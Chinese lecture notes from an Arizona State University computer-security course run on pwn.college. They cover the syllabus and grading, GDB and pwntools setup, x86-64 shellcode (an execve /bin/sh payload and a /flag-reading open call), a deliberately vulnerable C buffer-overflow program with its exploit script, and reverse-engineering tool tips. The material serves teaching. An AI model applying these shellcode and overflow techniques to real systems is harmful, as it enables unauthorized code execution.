ASU-CSE466-计算机系统安全笔记-全-
ASU CSE466 计算机系统安全笔记(全)
1:课程介绍与教学大纲 🛡️

在本节课中,我们将学习CSE 466《计算机系统安全》课程的整体结构、要求、评分方式以及成功完成课程的关键策略。课程采用翻转课堂模式,强调实践操作和自主学习。
🧑🏫 讲师与先修知识
我是Robert Wassinger,是你们本学期的讲师。我在ASU的网络安全实验室(Secom Lab)攻读博士学位,并已在此领域工作多年。
本课程假定你已具备以下先修知识:
- Linux熟练度:能够熟练使用终端和Linux工具。
- 调试与反汇编:熟悉使用GDB进行调试,并了解如何使用反汇编工具(如IDA、Ghidra、Binary Ninja)。
- x86汇编语言:能够阅读并编写x86汇编代码。
- 自主研究能力:知道如何查阅文档,例如使用
man命令阅读手册页。
如果你对以上任何一点不熟悉,课程初期可能会遇到困难。
⚠️ 课程难度与期望
这门课是ASU计算机科学本科课程中最具挑战性的课程之一。课程节奏快,内容密集。
- 历史数据显示,大约只有一半的注册学生能完成课程。
- 课程没有期末的“救急”曲线评分。如果你在学习中遇到困难,我会在相应主题的教学期间提供额外帮助,但不会在课程最后进行整体分数调整。
- 你的成绩会实时更新,你可以随时查看。
- 如果你在课程初期感到非常吃力,请认真考虑调整你的选课计划。



🔄 课程结构与运行模式

课程采用“翻转课堂”模式,运行在Pwn.College平台上。

每周流程如下:
- 周五:新模块的内容在Pwn.College上线。内容包括录播讲座视频和一系列挑战题目(每个模块约30个)。
- 周末与下周:你的任务是观看讲座视频,并尝试解决挑战。不要求你全部完成。
- 课堂时间(周二/周四):课堂时间用于解答疑问。请带着你在学习过程中遇到的问题来上课,我会通过现场演示等方式帮助你解决。
课程是混合模式,有周二和周四两个班次。内容不会重复,但你可以参加任意一节。课程也会在Twitch直播,并稍后上传至YouTube。
📅 课程模块与时间表
课程包含约10个模块。以下是计划中的模块主题与大致时间安排:
| 模块主题 | 发布日期 | 截止日期 |
|---|---|---|
| 程序安全 | 2024-08-27 | 2024-09-09 |
| 逆向工程 | 2024-09-06 | 2024-09-23 |
| 高级逆向工程 | 2024-09-13 | 2024-09-30 |
| ROP利用 | 2024-09-20 | 2024-10-07 |
| 堆利用 | 2024-09-27 | 2024-10-14 |
| 内核利用 | 2024-10-04 | 2024-10-21 |
| 竞争条件 | 2024-10-18 | 2024-11-04 |
| 沙盒逃逸 | 2024-10-25 | 2024-11-11 |
| 微架构利用 | 2024-11-01 | 2024-11-18 |
| 系统利用 | 2024-11-15 | 2024-12-02 |
请注意:
- 模块之间有重叠,新模块会在旧模块截止前发布,给你充足的时间(通常包含两个周末)。
- 截止日期是严格的。
- 所有挑战在截止后仍可提交,但只能获得50%的分数,直到学期结束(2024-12-16)。


📊 评分细则
课程没有考试,成绩完全基于模块挑战的完成情况。
单个模块的分数构成如下:
- 挑战完成度(80%):计算公式为
(完成的挑战数 / 总挑战数) * 80%。 - 早鸟检查点(20%):在模块的“检查点”日期前完成至少50%的挑战,即可获得这20%的分数。这是为了鼓励你尽早开始。
课程总评分为所有模块的平均分。



🎁 额外学分

为了帮助你通过课程,提供了丰厚的额外学分机会:
- Discord Meme(8%):每周在课程Discord频道发布与网络安全或课程内容相关的有趣内容(Meme)。如果Pwn.College机器人或其他讲师点赞了你的帖子,你就能获得0.5%的课程额外学分,16周总计8%。
- Discord互助(5%):在Discord上帮助其他同学解答问题。当其他同学通过“Apps > Thanks”功能感谢你的帮助时,你会获得积分。积分按对数曲线计算,上限为5%。
重要提示:Discord的历史记录将被清理,以鼓励实时互动和互助,而不是搜索旧答案。
🏆 成功策略与成绩模拟
结合评分规则和额外学分,以下是几种可能的情况:


- 情况A:完成每个模块的 49%,无额外学分。总成绩约为 39.2%(不及格)。
- 情况B:完成每个模块的 50%,并获得了早鸟检查点分数,无额外学分。总成绩约为 60%(D)。
- 情况C:完成每个模块的 50%,获得早鸟检查点,并获得全部13%额外学分。总成绩约为 73%(C)。
- 情况D:完成每个模块的 75%,获得早鸟检查点,并获得全部额外学分。总成绩约为 88%(B+)。
- 情况E:完成每个模块的 84%,获得早鸟检查点,并获得全部额外学分。总成绩约为 97%(A+)。


关键策略总结:
- 尽早开始:这是获得早鸟检查点20%分数的关键。
- 积极参与Discord:这是获取额外学分的主要途径。
- 遇到问题及时提问:利用课堂时间和Discord获取帮助。
❓ 如何有效提问
在Discord或课堂上提问是学习的重要部分。请遵循以下原则:
- 不要问“能不能问”:直接提出你的具体问题。
- 提供上下文:不要只说“挑战5不工作”。请说明你尝试了什么、看到了什么错误信息、查阅了哪些手册页(
man)。 - 不要公开粘贴解题代码。
- 推荐阅读文章《提问的智慧》,学习如何提出有效的技术问题。

🛠️ 支持资源

- 讲师(Robert):邮箱
Al.Wasinger@asu.edu,Discord用户名RobWz。计划在周五中午开设线上/线下混合的办公时间。 - 助教:三位研究生助教将在周一、周三、周五的课堂时间于BYENG 209提供线下帮助。
- Pwn.College平台:所有课程资料、挑战和成绩都在此平台。你需要:
- 在 pwn.college 注册账号。
- 在设置中关联你的ASU学生ID和Discord账号,以解锁课程专属频道和角色。
- 通过课程页面(CSE 466 Fall 2024)访问材料,而不是公共的“道场”模块,因为内容可能不同。
- 挑战环境:每个挑战都提供一个在线的VS Code工作区或完整的桌面环境。你也可以通过SSH连接到挑战环境(用户名
hacker)。
🎯 课程目标示例
为了让你对课程最终目标有所了解,这里有一个来自课程后期“系统利用”模块的挑战示例:


挑战环境包含:
- 一个Linux虚拟机(VM)。
- 一个内核模块(
.ko文件)。 - 一个设置了SUID权限的用户态二进制文件。


你的目标:读取一个只有root用户才能访问的flag文件。

可能的思路:
- 分析SUID二进制文件,尝试利用其漏洞获得
root权限。 - 或者,通过该二进制文件与内核模块暴露的设备进行交互。
- 寻找内核模块中的漏洞,在内核态执行代码,再返回用户态读取
flag。
这听起来复杂,但通过整个学期的循序渐进的学习,你将有能力解决此类问题。
📝 总结



本节课我们一起学习了CSE 466《计算机系统安全》的课程框架。我们了解了课程的挑战性、翻转课堂的运行模式、严格的评分标准以及通过额外学分和早鸟检查点来平衡难度的策略。记住成功的关键是:尽早开始、积极利用Discord社区、遇到困难时清晰有效地提问。下节课,我们将正式进入第一个技术模块——“程序安全”的学习。
2:课程介绍与教学大纲详解 🎓

在本节课中,我们将学习CSE466《计算机系统安全》课程的整体结构、学习目标、评分方式以及成功完成课程的关键策略。本节内容是对开学第一周内容的快速回顾和补充说明,旨在帮助大家明确课程要求并顺利开始学习。
课程基本信息与期望 📋
上一节我们介绍了课程的基本情况,本节中我们来看看对学生的具体技能期望。
我的名字是Robert Walsinger,我将是你们的讲师。我是ASU网络安全实验室SeFcom的博士生。如果你对网络安全研究感兴趣,可以随时联系我。
如果你在这门课上,我们对你的知识背景有一些基本假设。这些技能大部分应该在CSE365课程中学过。这门课程将建立在CSE365中教授的Linux二进制漏洞利用概念之上。


以下是期望你具备的技能:
- 熟悉Linux工具:不畏惧终端,至少能执行一些基本命令。
- 熟悉常见的逆向工程工具:知道如何使用GDB、IDA、Ghidra、Binary Ninja等工具之一。
- 理解x86汇编:本课程几乎不提供任何源代码。所有挑战和作业都是直接提供原始二进制文件,需要你通过逆向工程工具解读汇编代码来开始。
- 具备独立研究和解决问题的能力:知道如何查阅Linux系统调用手册(man page)或研究库函数的功能。当答案在手册页中时,我可能会直接让你去查阅。
这门课程非常具有挑战性。在我本科第一次开设时,退课率高达60%。课程节奏快,内容密集,需要投入大量时间。如果你同时选修了其他高要求的课程,可能需要慎重考虑。
课程价值与激励 🏆
既然课程如此艰难,为什么还要选修呢?
如果你对网络安全感兴趣,这是必选的课程。即使你对网络安全毫无兴趣,但想了解计算机的实际工作原理,这门课也极具价值。你在本课程中学到的技能,虽然我们可能将其用于漏洞利用,但作为通用计算机科学程序员,这些技能在理解程序行为、工作原理以及排查问题时具有无限的力量。
我们还会用一些“闪亮的奖励”来激励大家。课程运行在Pwn College平台上,完成平台上所有材料(不一定是课程内的所有内容)的学生将获得“腰带”作为成就认证。在上个月的DEF CON大会上,我们就在现场为完成者颁发了腰带。我们还有闪亮的纪念币。
课程运作模式 🔄


上一节我们了解了课程的难度和价值,本节中我们来看看课程是如何具体运行的。
这门课采用“翻转课堂”模式。以下是具体流程:

- 模块发布:模块通常在周五晚上6点左右发布。每个模块包含几个预先录制的讲座视频和一系列难度递增的挑战(目标约30个)。
- 课前准备:你需要在周末(周五到周一)观看视频并开始尝试解决挑战。不需要完全掌握所有视频内容,但需要开始动手实践。
- 课堂互动:周二和周四的课堂将完全以答疑和实时演示为主。我会根据你们在挑战中遇到的问题进行现场演示和讲解。课堂幻灯片将只有5-7页,主要内容是你们提出的问题和我计划演示的内容。
- 课程形式:周二和周四的课程被列为混合课程,有线上和线下部分。从今天起,我将两个部分视为同一个班级。课程会在Twitch上直播,录像也会很快上传到YouTube。出勤不是强制性的,但高度鼓励,因为更多的现场互动能让课堂更有趣,我也能更及时地解答问题。
- 考核方式:没有考试。整个学期计划有10个模块,课程成绩是这些模块成绩的平均值。
学期安排与评分细则 📅
了解了课程模式后,我们来看看本学期的具体时间安排和详细的评分规则。
以下是暂定的学期安排(我会尽力严格遵守):
- 8月27日(今日课后):发布“程序安全”模块,截止日期为9月2日(周一)午夜(亚利桑那时间23:59:59)。
- 后续模块:涵盖高级逆向工程、ROP(面向返回的编程)、堆利用、程序利用(综合性挑战,类似期中考试)、内核安全、竞态条件、沙箱逃逸、微架构利用(如Spectre和Meltdown)、系统利用(综合性挑战,类似期末考试)。
一个模块的成绩由两部分组成:
- 挑战完成度(占80%):解决挑战的百分比。
- 早鸟检查点(占20%):在模块页面标注的检查点截止日期前,完成该模块一半的挑战。这是“全有或全无”的奖励,旨在鼓励大家尽早开始。
所有挑战在截止日期后仍可提交以获得50%的分数,直到学期结束。
额外学分与成功策略 💡
上一节我们介绍了核心评分方式,本节中我们来看看如何通过额外努力提升成绩,以及成功的策略。

我们提供相当可观的额外学分:
- 发布表情包(占8%):在课程Discord的Memes频道,每发布一个被课程AI或任何Pwn College讲师点赞的表情包,可获得0.5%额外学分。每周最多一个,理想情况下应与课程内容相关。
- 帮助他人(占5%):在Discord上帮助同学解答问题,获得他人的“感谢”。这是一个对数尺度,上限为50次感谢。
总计可获得13%的额外学分。
以下是不同完成度结合额外学分的成绩示例:
- 完成每个模块的49%,无额外学分:总成绩39.2%(不及格)。
- 完成每个模块的50%,并达到早鸟检查点,无额外学分:总成绩60%(D)。
- 完成每个模块的50%,达到早鸟检查点,并获得全部13%额外学分:总成绩73%(C)。
- 完成每个模块的75%,达到早鸟检查点,并获得全部额外学分:总成绩93%(A)。


要获得A+,需要完成每个模块的84%,达到早鸟检查点,并获得全部额外学分。完成平台上所有材料(腰带材料)的学生将获得Pwn College腰带,这是一个全球范围内的高荣誉。
沟通、工具与学术诚信 💬

最后,我们来了解课程沟通渠道、所需工具以及重要的学术诚信规定。


沟通与帮助:
- 主要沟通平台:Discord(我的账号是RobWz)。尽量避免私信,除非事态紧急。
- 邮件:如有正式事务,可联系
rwalsinger@asu.edu。 - 办公时间:研究生助教(TA)的办公时间为周一、三、五的16:30-17:20,地点在BYENG 209。我个人的办公时间待定,可能会安排在周五中午。
- 提问的艺术:在Discord提问时,请提供详细的技术背景。避免类似“第二关卡住了”这样模糊的问题。可以参考《How To Ask Questions The Smart Way》和《Don‘t Ask To Ask》这两篇文章来提升提问技巧。
工具与环境:
- 平台:所有挑战都在Pwn College平台上完成。你可以通过SSH终端、基于浏览器的VS Code或完整的Linux桌面环境来访问挑战环境。
- 核心工具:GDB调试器将是课程中几乎每天都会用到的关键工具。你还需要熟悉一种反汇编工具(如IDA、Ghidra)。
- 生成式AI:平台内置了AI助手,可以基于你的终端上下文提供帮助。允许使用生成式AI,包括第三方工具。但请注意,复杂的漏洞利用问题AI可能无法直接解决。平台会记录所有与内置AI的交互。如果大量学生提交完全相同的由第三方AI生成的代码,可能会引发学术诚信审查。
学术诚信:
- 请勿作弊。平台服务器记录所有行为。
- 目标是增进理解,而非惩罚。我会假定善意,但如果越界,我会进行提醒。
- 在Discord上分享问题细节时,请运用你的判断力。如果分享过多,我会私下联系你并删除消息。

工作量提示:
- 试图100%完成所有内容的学生,每周投入30-40小时是现实的。
- 仅以通过为目标,可能也需要一半的时间。
- 这是一门要求极高的课程,请做好心理准备。

初始设置:
课程开始后,请访问Pwn College网站,注册账号,找到“CSE 466 Fall 2024”课程,点击“Setup”链接,并完成其中的五个步骤以同步你的ASU学生信息并加入课程专属Discord频道。




本节课中我们一起学习了CSE466《计算机系统安全》课程的总体框架、高强度的学习预期、翻转课堂的运作模式、具体的评分标准(包括早鸟检查点和额外学分)、成功的学习策略以及重要的沟通与学术诚信准则。请记住,尽早开始、积极参与、勤于提问是应对这门挑战性课程的关键。第一个模块即将发布,祝大家好运!
3:程序安全

概述
在本节课中,我们将学习程序安全的核心概念,特别是与shellcode编写、调试和优化相关的技术。我们将探讨如何高效地生成和测试shellcode,如何使用工具进行调试,以及一些实用的技巧来绕过常见限制。

课程内容
课程回顾与期望
上一讲我们介绍了课程的基本框架和期望。本节中,我们来看看当前的学习进展和一些常见问题。

课程的现实情况是,如果你认为这学期会很轻松,那可能并非如此。本课程要求扎实的基础和持续的投入。如果你在CSE 365课程中学到的内容有所遗忘,现在复习还为时不晚。许多学生在这个阶段会遇到困难,这是完全正常的。

关于寻求帮助,我们鼓励大家提问。你可以通过Discord、办公时间或观看预先录制的讲座视频来获取帮助。然而,对于已经详细解答过的问题,我可能会直接引用相关视频或资料,而不是重复讲解。

近期事件与漏洞赏金
最近,平台出现了一个安全漏洞,导致所有用户都可以通过执行cat flag命令获取挑战的flag。这个问题被一位同学发现并负责任地报告了。
根据课程大纲,我们设有漏洞赏金计划。如果你发现基础设施中的漏洞并负责任地报告,根据漏洞的影响程度,你可以获得课程总成绩1%到25%的额外学分。这次报告的漏洞影响较大,报告者将获得相应的额外学分。

工具与环境的设置
为了高效地进行安全研究和漏洞利用,我们需要配置合适的工具和环境。本节中,我们来看看如何设置GDB以获得更好的调试体验。




首先,在你的家目录(/home/hacker)下创建一个名为.gdbinit的文件。这个文件用于配置GDB的启动选项。

以下是.gdbinit文件的一个示例配置:
# 设置汇编语法为Intel格式(推荐)
set disassembly-flavor intel


# 加载gef插件(如果已安装)
source /opt/gef/gef.py



通过这个配置,GDB将使用更易读的Intel语法显示汇编代码,并加载gef插件,提供增强的调试界面。
Shellcode的生成与调试
在程序安全中,shellcode是一段用于利用漏洞的机器代码。高效地生成和调试shellcode是成功的关键。
我们可以使用Python的pwntools库来快速生成和测试shellcode。以下是一个简单的示例:

from pwn import *
# 设置架构上下文
context.arch = 'amd64'
# 生成shellcode
shellcode = asm('''
mov rax, 0x1337
mov rdi, 0xbeef
''')
# 打印shellcode的字节和反汇编结果
print("Shellcode bytes:", shellcode)
print("Disassembly:")
print(disasm(shellcode))



使用pwntools的asm函数,我们可以直接将汇编指令转换为机器码。通过disasm函数,我们可以查看对应的反汇编结果,便于调试和优化。
调试Shellcode
调试shellcode时,我们可能希望直接在GDB中运行它,以观察其行为。以下是如何在GDB中调试shellcode的示例:

# 使用GDB调试shellcode
gdb.debug('./challenge', '''
break main
continue
''')
通过这种方式,我们可以在GDB中启动挑战程序,并在适当的位置设置断点,逐步执行shellcode,观察内存和寄存器的变化。


优化Shellcode的策略
编写shellcode时,除了选择合适的指令外,还可以通过其他策略来优化其大小和效果。以下是几种常见的优化策略:
- 使用更短的路径引用文件:例如,通过创建符号链接来缩短文件路径,减少shellcode中需要包含的字节数。
- 利用系统调用:选择更少的系统调用来完成相同的任务。例如,使用
chmod改变文件权限,而不是open、read、write的组合。 - 避免特定字节:某些挑战可能过滤特定字节(如
0x48)。通过选择不同的指令或寄存器,可以避免这些字节。

符号链接的使用
符号链接是文件系统中的一个指针,指向另一个文件或目录。在shellcode中,我们可以利用符号链接来缩短文件路径,从而减少shellcode的大小。
创建符号链接的命令如下:
ln -s /target/file link_name
例如,创建一个指向/flag的符号链接:
ln -s /flag a
这样,在shellcode中,我们可以通过路径a来访问/flag,而不是完整的路径。
使用Python进行快速迭代
Python的pwntools库不仅可以帮助我们生成shellcode,还可以用于快速迭代和测试。以下是一个完整的示例,展示如何生成shellcode并将其发送到挑战程序:
from pwn import *
# 设置架构
context.arch = 'amd64'
# 生成shellcode
shellcode = asm('''
mov rax, 0x3b # execve的系统调用号
lea rdi, [rip+binsh] # /bin/sh的地址
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall
binsh:
.string "/bin/sh"
''')
# 启动挑战进程
p = process('./challenge')
p.send(shellcode)
p.interactive()
通过这种方式,我们可以快速修改shellcode,测试其效果,从而高效地解决挑战。

总结
本节课中,我们一起学习了程序安全中的几个关键概念和技术。我们回顾了课程期望,讨论了近期发现的漏洞及其处理方式。我们配置了GDB调试环境,学习了如何使用pwntools生成和调试shellcode。此外,我们还探讨了优化shellcode的策略,如使用符号链接和选择合适的系统调用。最后,我们通过Python实现了快速迭代和测试,为后续的挑战打下了坚实的基础。
4-05:程序安全


概述


在本节课中,我们将要学习程序安全的核心概念,特别是Shellcode编写和内存破坏。我们将通过实际操作演示如何编写Shellcode,并探讨如何利用缓冲区溢出等内存破坏漏洞。课程内容旨在复习和巩固相关知识,适合初学者跟随学习。



Shellcode编写基础
上一节我们介绍了程序安全的整体概念,本节中我们来看看如何实际编写Shellcode。Shellcode是一段用于利用软件漏洞的机器码,通常用于启动一个shell或执行特定操作。
设置环境与调用系统调用
首先,我们需要设置汇编环境并了解如何调用系统调用。在x86-64架构中,系统调用通过设置特定寄存器并执行syscall指令来完成。
以下是设置open系统调用的示例代码:
mov rax, 2 ; syscall number for open
lea rdi, [rip + path] ; load address of path string
mov rsi, 0 ; flags: O_RDONLY
mov rdx, 0 ; mode (not used here)
syscall ; trigger the syscall
在这段代码中:
rax寄存器存储系统调用号(open为2)。rdi寄存器存储文件路径的地址。rsi寄存器存储打开文件的标志(如O_RDONLY)。rdx寄存器存储文件模式(本例中未使用)。syscall指令触发系统调用。
处理字符串数据
在Shellcode中处理字符串数据有多种方法。一种常见的方法是将字符串数据放在代码段之后,并通过相对地址加载。
以下是声明字符串并加载其地址的示例:



path:
.string "/home/hacker/somefile"

使用lea指令加载字符串地址:
lea rdi, [rip + path]
这种方法将字符串数据放在Shellcode的末尾,并通过相对寻址获取其地址。









避免使用特定字节


在某些情况下,我们需要避免在Shellcode中使用特定字节(如空字节)。以下是几种清零寄存器的方法,每种方法产生的机器码字节不同:
-
使用
mov指令:mov eax, 0 -
使用
xor指令:xor eax, eax -
使用
sub指令:sub eax, eax -
使用
and指令:and eax, 0
每种方法都有其独特的字节序列,可以根据需要选择合适的方法来避免特定字节。
使用栈存储数据
另一种处理字符串数据的方法是使用栈。通过将字符串压入栈中,可以动态构建数据。
以下是使用栈存储字符串的示例:

push 0 ; null terminator
mov rax, 0x656c69666d6f732f ; "somefile"
push rax
lea rdi, [rsp] ; load address from stack



这种方法将字符串分块压入栈中,并通过栈指针获取其地址。
内存破坏与缓冲区溢出


上一节我们介绍了Shellcode编写的基础,本节中我们来看看内存破坏,特别是缓冲区溢出。缓冲区溢出是一种常见的安全漏洞,当程序向缓冲区写入的数据超过其分配的大小时,会导致相邻内存被覆盖。



缓冲区溢出示例

以下是一个简单的C程序,演示了缓冲区溢出漏洞:


#include <stdio.h>
#include <unistd.h>
struct mystruct {
char username[64];
int always_false;
};
void vulnerable() {
struct mystruct s;
s.always_false = 0;
printf("What is your name? ");
read(0, s.username, 300); // buffer overflow here
printf("Hello %s\n", s.username);
if (s.always_false) {
printf("always_false is true!\n");
}
}
int main() {
printf("About to call vulnerable function\n");
vulnerable();
printf("About to return from main\n");
return 0;
}
在这个程序中,read函数允许写入最多300字节的数据,但username缓冲区只有64字节。当写入超过64字节时,always_false变量会被覆盖。
利用缓冲区溢出
通过精心构造输入数据,我们可以覆盖always_false变量,使其变为非零值,从而触发本不应执行的条件分支。
以下是利用该漏洞的Python脚本示例:
from pwn import *
context.arch = 'amd64'
p = process('./a.out')
# Send 72 'A's to overflow the buffer and overwrite always_false
payload = b'A' * 72
p.send(payload)
p.interactive()
当发送72字节的A时,always_false变量被覆盖,程序输出always_false is true!。
检查二进制文件的安全特性
在分析二进制文件时,可以使用checksec工具检查其安全特性,如栈保护、地址空间布局随机化等。
以下是使用checksec的示例:




checksec ./a.out




输出可能显示:
No canary found:栈保护未启用。PIE disabled:地址空间布局随机化未启用。
这些信息有助于了解二进制文件的漏洞利用难度。

总结





本节课中我们一起学习了程序安全的核心概念,包括Shellcode编写和内存破坏。我们通过实际操作演示了如何编写Shellcode、避免特定字节、利用缓冲区溢出漏洞,并介绍了相关工具的使用方法。掌握这些知识对于理解和防御软件安全漏洞至关重要。
5:第05-06讲 - 逆向工程




概述
在本节课中,我们将要学习逆向工程的基础概念、工具使用以及如何分析一个模拟器程序。课程内容涵盖了对上一模块的回顾、逆向工程模块的介绍,以及通过一个8086模拟器实例来讲解逆向分析的基本方法。
上一模块回顾与成绩分析
上一节我们介绍了缓冲区溢出、栈金丝雀(Canary)和地址空间布局随机化(ASLR)等概念。本节中,我们来看看大家在第一个模块中的表现,并讨论一些常见问题的解决方案。
以下是第一个模块的成绩分布概况:
- 班级平均分(含未参与者)约为54%。
- 排除未解决任何挑战的学生后,平均分约为64%。
- 排除解决少于3个挑战的学生后,平均分约为77%。



成绩分布呈U型,表明学生在掌握先修知识方面存在明显差异。本课程进度较快,内容具有累积性,因此尽早开始并投入时间至关重要。

逆向工程模块介绍
上一节我们回顾了内存安全相关概念,本节中我们来看看即将开始的逆向工程模块。这通常是课程中最具挑战性的模块之一。
该模块将围绕一个名为 Yan85 的虚构CPU架构展开。Yan85是一个模拟器,它用软件实现了一个自定义指令集的CPU。你的任务是逆向分析这些运行Yan85代码的程序。



核心概念:模拟器是在软件中模拟硬件功能的程序。例如,一个CPU模拟器会在内存中维护寄存器状态,并解释执行目标架构的指令。



逆向工程工具与策略
在开始分析具体目标之前,我们需要了解并选择合适的工具。高效的逆向工程依赖于强大的工具和正确的策略。
以下是推荐的逆向工程工具:
- IDA Pro:功能强大的反汇编器和反编译器,能生成易于理解的类C伪代码。
- GDB:动态调试器,用于运行时分析程序行为。
- Binary Ninja / Ghidra:其他优秀的反汇编和反编译工具。

核心策略:对于Yan85挑战,建议采用“模式识别”和“由简入繁”的策略。首先仔细分析带有符号信息的 .0 挑战,理解程序结构和Yan85指令集的大致逻辑,然后将这些模式应用到无符号的 .1 挑战中。





通过实例学习:分析8086模拟器
为了让大家对分析模拟器有一个直观的认识,我们以一个简单的8086模拟器为例。虽然它与Yan85不同,但核心思想相似。
我们使用IDA打开这个模拟器程序。初始视图是汇编代码,按下 Tab 键可以切换到反编译的伪代码视图。伪代码更易于理解高级逻辑。
关键步骤:
- 定位入口点:程序通常从
main函数开始执行。 - 识别关键函数:寻找像
interpret、execute或run这样的函数,它们通常是模拟器的核心执行循环。 - 理解数据结构:在伪代码中查找代表模拟CPU寄存器、内存等的数据结构。
- 交叉引用:使用IDA的交叉引用功能(快捷键
X)查看某个函数或变量在何处被调用或使用。




在分析Yan85挑战时,你会看到类似的结构:一个主循环读取Yan85指令字节,根据编码查找对应的处理函数(如处理 ADD、MOV、IMM 等指令),然后更新模拟的寄存器状态。

常见问题解答(Q&A)
在课程最后,我们针对学生提出的一些具体问题进行了解答。





关于栈金丝雀(Canary):
- 如何定位:在GDB中,使用
info frame命令可以查看当前栈帧信息,其中包含保存的RBP和RIP地址。金丝雀值通常位于保存的RBP之前。其特征是值看起来随机,且最低有效字节常为\x00。 - 如何绕过:某些挑战提供了“后门”函数,允许递归调用自身。如果在一次调用中覆盖了金丝雀,但通过后门递归而非正常返回,则不会立即触发金丝雀检查,这为完成利用提供了窗口。
关于模块挑战:
.0和.1挑战的区别:.0挑战保留了符号信息(函数名、变量名),更易于分析,是学习模式的最佳起点。.1挑战剥离了符号,是真正的“逆向”目标。- 目标是什么:前期挑战通常是“crackme”,即需要你输入特定字符串通过验证。后期挑战可能要求你提供Yan85字节码,使模拟器执行特定操作(如调用
read/write)。 - 编码是否一致:Yan85的指令语义(如
ADD是加法)在整个模块中一致,但指令的字节编码在每个挑战中都是随机化的,需要你从当前二进制文件中逆向得出。
关于课程安排:
- 补做旧挑战:在学期结束前,任何未完成的挑战都可以以50%的权重补交。但从时间效率看,优先完成当前模块的挑战(尤其是检查点之前的部分)对总成绩更有利。



总结
本节课中我们一起学习了逆向工程模块的概况。我们回顾了上一模块的成绩,介绍了逆向工程的基本概念和将要用到的Yan85模拟器,探讨了使用IDA等工具进行分析的策略,并通过一个8086模拟器的例子进行了演示。逆向工程的核心在于模式识别和逻辑推理。请务必从带有符号的 .0 挑战开始,花时间理解其结构,这将为后续挑战打下坚实基础。
6:逆向工程工具与实战技巧
在本节课中,我们将学习逆向工程模块的核心工具、实战技巧以及如何高效地处理二进制数据。我们将重点介绍几种主流反编译工具、编写汇编器/反汇编器的思路,以及使用GDB进行动态分析的实用方法。
工具选择与比较
上一节我们介绍了逆向工程的基本概念,本节中我们来看看完成这些挑战时可以选择哪些工具。每种工具都有其优缺点,了解它们能帮助你根据场景做出最佳选择。
以下是几种主流反编译工具的对比:



- IDA Pro
- 优点:业界黄金标准,通常能生成最清晰、最易读的伪C代码(按
Tab键在汇编与C视图间切换)。 - 缺点:
- 免费版使用云端反编译器,在截止日期前可能因请求过多而超时。
- 商业版价格昂贵,主要面向企业用户。
- 优点:业界黄金标准,通常能生成最清晰、最易读的伪C代码(按
- Ghidra
- 优点:
- 由NSA开发,开源免费。
- 基于Java,跨平台体验一致。
- 反编译在本地进行,无云端限制。
- 插件生态丰富,可扩展性强。
- 缺点:界面为并排显示(汇编与伪C代码分列),工作流与IDA不同。
- 优点:
- Binary Ninja
- 优点:
- 界面现代美观。
- 具有强大的脚本和插件API,适合编程式分析。
- 商业版定价对个人用户更友好。
- 缺点:同样是商业软件。
- 优点:
- angr management
- 优点:
- 集成了
angr框架,支持符号执行等高级分析。 - 由ASU的SEFCOM实验室开发维护。
- 免费开源。
- 集成了
- 缺点:作为研究原型,可能不够稳定,功能处于前沿实验阶段。
- 优点:
处理非打印字符与字节操作




在使用工具进行静态分析后,我们常常需要与程序进行动态交互。一个常见难点是如何向程序输入无法直接通过键盘键入的字节(如空字节0x00)。



以下是几种输入原始字节的方法:
- 推荐方法:使用
pwntools(Python)- 可以创建字节串(
bytes)来精确控制输入。 - 示例代码:
from pwn import * context.arch = 'amd64' p = process('./challenge') # 发送字节 0x01, 0x02, 0x03 payload = b'\x01\x02\x03' p.send(payload) # 使用 send 发送原始字节 # p.sendline(payload) # sendline 会在末尾添加换行符 \n
- 可以创建字节串(
- 不推荐:使用
echo命令(Bash)- 容易出错,例如默认会添加换行符。
- 示例:
echo -ne '\x00\x01'可以发送两个字节,但需注意参数。
- 绝对避免:使用不明确的在线计算器或工具
- 你无法确认这些工具底层的计算逻辑(如默认处理8字节字而非单字节),可能导致错误。
核心概念:字节是内存中的原始数据,类型(如整数、字符串)是我们赋予这些字节的解释方式。在逆向时,你需要根据程序如何使用这些字节(例如,是进行有符号还是无符号比较)来推断其“类型”。
编写汇编器/反汇编器


对于本模块中反复出现的Yan85虚拟机挑战,编写一个简单的汇编器或反汇编器能极大提升效率。其核心思想是建立映射关系。
- 汇编器:将人类可读的指令文本(如
"add A B")映射成原始的Yan85操作码字节。 - 反汇编器:将原始的
Yan85操作码字节映射回人类可读的文本。
实现思路:
- 通过逆向分析
Yan85解释器,找出操作码、寄存器与对应字节值的映射关系。 - 使用Python字典存储这些映射。
opcode_map = { "IMM": b'\x40\x00\x00\x00', # 假设的映射 "ADD": b'\x40\x00\x00\x00', # ... 其他指令 } register_map = { "A": b'\x01', "B": b'\x02', # ... 其他寄存器 } - 编写解析函数,读取文本指令,查找映射表,拼接成最终的字节序列。
- 反汇编器则实现相反的过程。





这样做的好处是,即使后续挑战中映射关系发生变化,你也只需更新字典中的值,而无需重新进行繁琐的手动转换。


结合静态与动态分析:使用GDB调试



有时反编译器的输出可能不准确或难以理解。这时,结合GDB进行动态调试至关重要。
挑战:现代Linux系统启用ASLR,且挑战程序通常设置了SUID位,导致每次运行地址随机化,难以设置断点。





解决方案:
- 复制文件:将挑战文件复制到临时位置(如
/tmp),副本通常不再具有SUID属性。cp /path/to/challenge /tmp/my_challenge - 获取加载基址:在GDB中运行副本,使用
info proc mappings或vmmap(如果安装了pwndbg/gef)找到ELF文件的加载基址(例如0x555555554000)。 - 设置
.gdbinit:在~/.gdbinit中添加一行,定义一个变量存储这个基址。set $base = 0x555555554000 - 计算断点地址:在IDA/Ghidra中查看你感兴趣的指令的文件偏移地址(如
0x1BA7)。在GDB中,断点地址为$base + 偏移。break *($base + 0x1BA7) run



这样,你就可以将静态分析中找到的关键位置,快速转换为GDB中可用的断点,进行精确的动态观察。
总结与额外信息
本节课中我们一起学习了逆向工程中的实用技能:比较了不同反编译工具的优劣,掌握了向程序输入原始字节的正确方法,理解了编写简易汇编器/反汇编器的思路,并学会了如何结合静态分析工具与GDB进行动态调试。
额外机会:ASU黑客俱乐部将组织面向本科生的CTF比赛。参与并认真尝试的同学可获得本课程1%的额外学分。详情请查看课程Discord公告。为方便大家参与,原定于下周一的检查点将推迟到与本模块截止日期相同。

请记住,逆向工程是一项需要耐心和实践的技能。利用好这些工具和方法,你就能更有效地解开挑战。
7:第4周 - 逆向工程


在本节课中,我们将学习如何利用GDB脚本和IDA Pro等工具,将没有符号信息的二进制程序(如 17.1)变得像其有符号信息的版本(如 17.0)一样易于分析。我们将通过动态调试和静态分析,揭示程序内部逻辑,并学习如何自动化逆向工程中的重复性任务。
概述与挑战现状
